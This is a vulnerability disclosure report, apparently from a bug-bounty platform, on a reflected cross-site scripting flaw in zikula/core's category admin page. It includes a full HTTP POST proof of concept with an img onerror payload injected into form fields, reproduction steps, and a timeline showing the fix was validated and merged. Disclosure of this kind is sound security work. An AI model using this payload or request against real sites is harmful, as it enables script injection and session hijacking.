Cross-site Scripting (XSS) - Reflected in zikula/core

Valid

Reported on

Sep 18th 2021


Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites

Proof of Concept

// PoC.js

POST /categories/admin/category/contextMenu HTTP/2
Host: demo.ziku.la
Cookie: _zsid=a9b37grip4in2kp0j6kaugdvrh
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 829
Origin: https://demo.ziku.la
Referer: https://demo.ziku.la/categories/admin/category/list
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

name=&zikulacategoriesmodule_category%5Bname%5D=xss&zikulacategoriesmodule_category%5Bparent%5D=1&zikulacategoriesmodule_category%5Bvalue%5D=xss%22%3E%3Cimg+src%3Dx+onerror%3Dalert(5)%3E&zikulacategoriesmodule_category%5Bstatus%5D=1&zikulacategoriesmodule_category%5Bdisplay_name%5D%5Ben%5D=xss%22%3E%3Cimg+src%3Dx+onerror%3Dalert(5)%3E&zikulacategoriesmodule_category%5Bdisplay_desc%5D%5Ben%5D=&zikulacategoriesmodule_category%5Bdisplay_name%5D%5Bde%5D=xss%22%3E%3Cimg+src%3Dx+onerror%3Dalert(5)%3E&zikulacategoriesmodule_category%5Bdisplay_desc%5D%5Bde%5D=&zikulacategoriesmodule_category%5Bafter%5D=&zikulacategoriesmodule_category%5B_token%5D=DakpV7D_oezovXK3ylCWGOX0bGsmkkwj2AwbYKAWHAU&form%5Bcategory%5D=2&form%5B_token%5D=rTzkSnIE8AQ9av7tAVFVbr3yp63jylWZDMw6hqNvbCw&form%5Blocale%5D=%2Fcategories%2Fadmin%2Fcategory%2Flist


**Steps to reproduce : 1 --> Go to https://demo.ziku.la/categories/admin/category/list 2--> Click New Category , and fill the Display name & value with any html payload

You will get an XSS alert .

Impact

This vulnerability is capable of...steal user session , takeover user account , make redirect user to attacker controlled site //

We have contacted a member of the zikula/core team and are waiting to hear back a month ago
We have contacted a member of the zikula/core team and are waiting to hear back a month ago
Axel Guckelsberger validated this vulnerability a month ago
0x9x has been awarded the disclosure bounty
The fix bounty is now up for grabs
Axel Guckelsberger confirmed that a fix has been merged on bea749 a month ago
Axel Guckelsberger has been awarded the fix bounty
0x9x
a month ago

Researcher


Thanks for your assist!